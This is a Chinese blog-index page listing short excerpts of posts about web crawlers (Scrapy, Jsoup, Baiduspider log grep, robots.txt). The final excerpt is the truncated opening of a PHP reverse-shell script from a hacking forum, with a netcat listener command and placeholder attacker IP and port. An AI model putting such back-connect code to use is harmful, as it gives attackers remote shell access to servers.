1.有些scrapy命令，只有在scrapyproject根目录下才available,比如crawl命令2.scrapygenspidertaobaohttp://detail.tmall.com/item.htm?id=12577759834自动在spider目录下生成taobao.py#-*-coding:utf-8-*-
importscrapy
classTaobaoSpider(scrapy.Spider):
name="taobao"
all..
分类：
编程语言 时间：
2015-01-07 19:07:36
阅读次数：
324
1.任务一，抓取以下两个URL的内容，写入文件http://www.dmoz.org/Computers/Programming/Languages/Python/Books/http://www.dmoz.org/Computers/Programming/Languages/Python/Resources/项目截图和上一个project不同的是，在spider中没有定义rules属性，而是定义了parse方法..
分类：
编程语言 时间：
2015-01-06 18:11:44
阅读次数：
314
1 # -*- coding: utf-8 -*- 2 3 import scrapy 4 from scrapy import Spider, Request, log 5 from scrapy.selector import Selector 6 import sys 7 s...
分类：
其他好文 时间：
2015-01-05 14:27:47
阅读次数：
126
上一篇HTTPclient模拟登陆交大图书馆
解决了登陆，登陆之后便可以查看个人信息。个人信息条目较少，如图：
主要就是：姓名、电话、目前借书、积欠金额。
查看其html代码：
下面开始进行解析：
代码
package com.ali.login.spider;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Do...
分类：
Web程序 时间：
2014-12-18 22:24:38
阅读次数：
297
#!/bin/bash
#desc:thisscriptsforbaidunews-spider
#date:2014.02.25
#testdinCentOS5.9x86_64
#savedin/usr/local/bin/baidu-web.sh
#writtenbycoralzd@gmail.comwww.zjyxh.com
dt=`date-d"yesterday"+%m%d`
if[$1x!=x];then
if[-e$1];then
grep-i"Baiduspider/2.0"$1>bai..
分类：
Web程序 时间：
2014-12-17 13:01:18
阅读次数：
185
??
一：
1
搜索引擎的历史
萌芽：Archie、Gopher
Archie:搜索FTP服务器上的文件
Gopher:索引网页
2
起步：Robot(网络机器人)的出现与spider(网络爬虫)
Robot基于网络的，可以执行特定任务的程序
Spider：特殊的机器人，网络爬虫，爬取互联网上的信息（可以是文件，网络）----网络自...
分类：
Web程序 时间：
2014-12-08 00:56:28
阅读次数：
301
什么是robots.txt? 搜索引擎使用spider程序自动访问互联网上的网页并获取网页信息。spider在访问一个网站时，会首先会检查该网站的根域下是否有一个叫做 robots.txt的纯文本文件。您可以在您的网站中创建一个纯文本文件robots.txt，在文件中声明该网站中不想被robot访问...
分类：
其他好文 时间：
2014-12-04 17:25:52
阅读次数：
198
path类string str=@"c:\3000soft\red spider\data\message\老赵.wav";Path.GetFileName(str);\\获取文件名Path.GetFileNameWithoutExtension(str);//获取文件名但是不包括扩展名Path.G...
分类：
其他好文 时间：
2014-11-29 15:45:04
阅读次数：
124
上一篇博客已经介绍了如何得到网页的编码，得到编码之后根据编码得到相应的流，我们将网页的内容获取存在一个string类型的变量中即可package Spider;import java.io.BufferedReader;import java.io.InputStream;import java.i...
分类：
Web程序 时间：
2014-11-26 18:17:05
阅读次数：
476
https://www.t00ls.net/viewthread.php?tid=28086
<?php
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者Spider
*nc-vvlp443
********************************/
$ip=‘xxx.xxx.xxx.xxx‘;
$port=‘443‘;
$file=‘/tmp/bc.pl‘;
header("content-T..
分类：
Web程序 时间：
2014-11-20 15:37:45
阅读次数：
511
